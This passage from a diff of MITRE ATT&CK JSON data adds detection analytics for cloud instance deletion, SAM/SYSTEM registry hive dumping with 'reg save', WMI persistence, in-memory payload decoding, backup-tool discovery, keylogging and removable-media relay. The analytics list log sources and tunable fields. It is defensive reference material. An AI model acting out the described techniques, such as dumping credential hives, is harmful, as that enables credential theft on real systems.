"https://attack.mitre.org/detectionstrategies/DET0084#AN0234", + "external_id": "AN0234" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0234", + "description": "Defenders can detect suspicious cloud instance deletions by correlating events across authentication, instance lifecycle, and account activity. From a defender\u2019s perspective, behaviors of interest include instances deleted shortly after creation, deletions initiated by new or rarely used accounts, deletions following snapshot creation, and deletions originating from anomalous geolocations or access keys. These may indicate adversarial attempts to destroy forensic evidence or evade detection.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1361e324-b594-4c0e-a517-20cee32b8d7f", + "name": "AWS:CloudTrail", + "channel": "TerminateInstances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--45fd904d-6eb0-4b50-8478-a961f09f898b", + "name": "AWS:CloudTrail", + "channel": "DescribeInstances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7561ed50-16cb-4826-82c7-c1ddca61785e", + "name": "azure:activity", + "channel": "MICROSOFT.COMPUTE/VIRTUALMACHINES/DELETE" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Identity of the user/service account performing deletions; tuned to exclude automation or known administrative workflows." + }, + { + "field": "TimeWindow", + "description": "Threshold for detecting rapid instance lifecycle events (e.g., creation and deletion within minutes)." + }, + { + "field": "GeoLocation", + "description": "Region or source IP where the delete request originated; can be tuned to align with enterprise cloud geography." + }, + { + "field": "RateThreshold", + "description": "Number of deletions per user/account in a defined window; tuned for organizations with high elasticity." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8c881d82-21c3-482c-8895-c240360eec8e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0085#AN0235", + "external_id": "AN0235" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0235", + "description": "An adversary running with SYSTEM-level privileges executes commands or accesses registry keys to dump the SAM hive or directly reads sensitive local files from the config directory. This behavior often involves sequential access to HKLM\\SAM, HKLM\\SYSTEM, and creation of .save or .dmp files, enabling offline hash extraction.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=2" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLinePattern", + "description": "Detectable variations include `reg save`, `reg.exe save`, or PowerShell equivalents for dumping SAM/SYSTEM hives." + }, + { + "field": "TargetFilePath", + "description": "Defenders can tune based on dump file path patterns (e.g., `%TEMP%\\sam.save`, `C:\\Users\\Public\\*.dmp`)." + }, + { + "field": "RegistryPath", + "description": "Tune for HKLM\\SAM, HKLM\\SYSTEM or access via direct \\Device\\Harddisk paths." + }, + { + "field": "TimeWindow", + "description": "Temporal gap between SAM and SYSTEM hive dumping can be tuned (e.g., 3 minutes)." + }, + { + "field": "ParentProcessName", + "description": "Useful for suppressing known-good access (e.g., backup tools)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1a0640f0-e286-405f-9ab3-507c1abb77da", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0086#AN0236", + "external_id": "AN0236" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0236", + "description": "Monitor for creation of WMI EventFilter, EventConsumer, and FilterToConsumerBinding objects through WMI or MOF file execution. Detect command-line execution of `mofcomp.exe`, usage of `Register-WmiEvent` via PowerShell, and anomalous child processes of `WmiPrvSE.exe` that indicate triggered execution. Look for lateral anomalies in process lineage and WMI logging channels.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4", + "name": "WinEventLog:Microsoft-Windows-WMI-Activity/Operational", + "channel": "EventCode=5861" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines temporal correlation range between WMI creation and child process execution" + }, + { + "field": "UserContext", + "description": "Tune for specific accounts (e.g., SYSTEM or attacker-controlled users)" + }, + { + "field": "ProcessNameAllowlist", + "description": "Used to exclude known benign consumers triggered via WMI (e.g., backup tools)" + }, + { + "field": "ParentProcessAnomalyThreshold", + "description": "Defines what constitutes anomalous spawning from WmiPrvSE.exe" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4f985435-9144-4a8f-aca0-598f788855b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0087#AN0237", + "external_id": "AN0237" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0237", + "description": "Detection of processes that load or decode encrypted/encoded files in memory and subsequently execute or inject them, indicating payload unpacking or memory-resident malware.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Image", + "description": "Path of decoder utilities (e.g., certutil.exe, powershell.exe) can vary across environments." + }, + { + "field": "CommandLine", + "description": "Base64/hex strings used may change per encoded payload." + }, + { + "field": "TimeWindow", + "description": "The duration between file decode and execution may differ across implementations." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e9de9003-46e9-438f-929a-94a33c2eb5bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0087#AN0238", + "external_id": "AN0238" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0238", + "description": "Detection of suspicious use of shell utilities or scripts that decode or decrypt a payload and execute it without writing to disk.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "linux:Sysmon", + "channel": "EventCode=22" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Normal usage of `base64`, `openssl`, or `gpg` varies by user/role." + }, + { + "field": "ProcessLineage", + "description": "Parent-child process chains may differ across deployments." + }, + { + "field": "TimeWindow", + "description": "Time between decode and execution is implementation-specific." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0e832ea1-a261-4bdd-8fc8-ae049468c347", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0087#AN0239", + "external_id": "AN0239" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0239", + "description": "Detection of encoded payloads being decoded and executed in-memory using scripting tools or third-party decoders.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "log stream" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "es_event_exec" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "macos:unifiedlog", + "channel": "memory mapping" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptContent", + "description": "Encoded payload content varies across adversaries." + }, + { + "field": "ExecutionChain", + "description": "Sequence of tools or scripts executed can differ." + }, + { + "field": "UserContext", + "description": "May depend on whether user is admin, daemon, or system account." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dbc6d9ca-9502-46a0-a59b-15b050bb539c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0088#AN0240", + "external_id": "AN0240" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0240", + "description": "Defender observes execution of commands like `tasklist`, `sc query`, `reg query`, or PowerShell WMI/Registry queries targeting known backup products (e.g., Veeam, Acronis, CrashPlan). Behavior often includes parent-child lineage involving PowerShell or cmd.exe with discovery syntax, and enumeration of services, directories, or registry paths tied to backup software.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KnownBackupVendors", + "description": "List of software vendors to match in command-line or registry queries" + }, + { + "field": "UserContextScope", + "description": "Focus on low-privilege or interactive user contexts rather than service accounts" + }, + { + "field": "SuspiciousParentProcesses", + "description": "Flag execution from scripting tools, interpreters, or LOLBins" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--93918e31-51b1-4d85-8b16-590871c2cc1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0088#AN0241", + "external_id": "AN0241" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0241", + "description": "Defender observes use of CLI tools (`find`, `grep`, `ls`, `dpkg`, `rpm`, `systemctl`, `ps aux`) to discover backup agents or config files (e.g., rsnapshot, duplicity, veeam). This often includes command lines that recursively search `/etc/`, `/opt/`, or `/var/` directories for keywords like `backup`, and parent-child relationships involving shell or Python scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of discovery commands targeting backup binaries, processes, or config paths" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:PATH", + "channel": "Read access to known backup software configuration files (e.g., /etc/rsnapshot.conf, /opt/veeam/config.ini)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BackupConfigPaths", + "description": "Directory paths and filenames related to backup agents" + }, + { + "field": "ToolchainScope", + "description": "Shells, interpreters, or binaries used by attacker scripts for discovery" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e3c81570-be1b-48c8-b000-b70173c5c226", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0088#AN0242", + "external_id": "AN0242" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0242", + "description": "Defender detects execution of `mdfind`, `launchctl`, or GUI-based enumeration (e.g., `/Applications/Time Machine.app`) along with command-line usage of `find`, `grep`, or `system_profiler` to identify installed backup tools like Time Machine, Carbon Copy Cloner, or Backblaze. Often triggered from Terminal sessions or within post-exploitation scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "Read access to Time Machine plist files or CCC configurations in ~/Library/Preferences/" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InstallLocationScope", + "description": "Directories or bundles where backup tools are commonly installed" + }, + { + "field": "KnownAppPlistPaths", + "description": "Plist files related to backup software configurations" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7924d1b1-a512-425f-b397-9e9b9887b21b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0089#AN0243", + "external_id": "AN0243" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0243", + "description": "Monitors suspicious usage of Windows API calls like SetWindowsHookEx, GetKeyState, or polling functions within non-UI service processes, combined with Registry or driver modifications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4656" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:System", + "channel": "EventCode=7045" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetImage", + "description": "Scope to sensitive GUI/session processes like winlogon.exe or osk.exe" + }, + { + "field": "AccessMask", + "description": "Can be tuned to 0x1fffff for full-access injection detection" + }, + { + "field": "TimeWindow", + "description": "Tunable for sustained polling or multiple registry edits in short succession" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0c122a8e-bcb0-4756-8a63-193c52d61d90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0089#AN0244", + "external_id": "AN0244" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0244", + "description": "Detects non-system processes accessing /dev/input/* or issuing ptrace/evdev syscalls used for reading keystroke buffers directly.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open, read" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "auditd:SYSCALL", + "channel": "ptrace, ioctl" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessName", + "description": "Exclude known good applications (e.g. Xorg, GNOME Shell)" + }, + { + "field": "DevicePath", + "description": "Typically /dev/input/event*, but tunable to match custom input buses" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--da140e65-e30c-4cf2-8961-82fb200a7f0b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0089#AN0245", + "external_id": "AN0245" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0245", + "description": "Detects unauthorized TCC access or use of Quartz Event Services (CGEventTapCreate) or IOHID for event tap installation within unexpected processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.TCC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events OR launchd" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Service", + "description": "com.apple.inputmonitoring, com.apple.accessibility, etc." + }, + { + "field": "ExecutablePath", + "description": "Tunable to exclude trusted endpoint monitoring tools" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--63a1b615-8389-4776-a79c-6db04037a7b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0089#AN0246", + "external_id": "AN0246" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0246", + "description": "Keylogging on legacy network devices via unauthorized system image modification or remote capture of console keystrokes (telnet, SSH) through altered firmware or man-in-the-middle key sniffing.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "networkdevice:syslog", + "channel": "Image Upgrade / Configuration Change" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "packet capture or DPI logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FirmwareVersion", + "description": "Baseline hash or expected version for config/image integrity" + }, + { + "field": "Protocol", + "description": "Scope to plaintext channels or low-assurance SSH versions" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b355ae5d-3cd6-4594-8bd9-8fed59e02326", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-27 15:59:01.140000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0090#AN0247", + "external_id": "AN0247" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0247", + "description": "Behavioral sequence where removable media is mounted, files are written/updated, and subsequently read/executed on a separate host, suggesting removable-media relay communication.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "WinEventLog:Microsoft-Windows-Partition/Diagnostic", + "channel": "EventCode=1006" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RemovableDriveLetter", + "description": "Adjust drive letters used in detection (e.g., E:, F:, G:) depending on enterprise usage." + }, + { + "field": "WriteToReadTimeWindow", + "description": "Tunable window for file write on one host followed by file read or execution on another (e.g., within 10 minutes)." + }, + { + "field": "FileNamePattern", + "description": "Common naming schemes for payload, tasking, or exfil files (e.g., task.txt, beacon.log, data.bin)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6f8fdb88-56d1-454e-9a35-3b7170011ca2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0090#AN0248", + "external_id": "AN0248" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0248", + "description": "Detection of file write-access to USB-mount directories (e.g., /media/, /run/media/) followed by same-file access or execution on another host.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "write/open, FIM audit" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "auditd:SYSCALL", + "channel": "Removable media mount notification" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MountPathPattern", + "description": "Typical mount paths to monitor (e.g., /media/usb*, /run/media/username/*)." + }, + { + "field": "TimeWindowBetweenHosts", + "description": "Tunable detection window to correlate read/write between different hosts within a short interval (e.g., <15m)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bb687663-4b26-46ef-a176-e188f538d399", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0090#AN0249", + "external_id": "AN0249" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0249", + "description": "Correlates removable volume mounts (disk arbitration) with file I/O events on that volume, followed by same file execution shortly after insert.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": 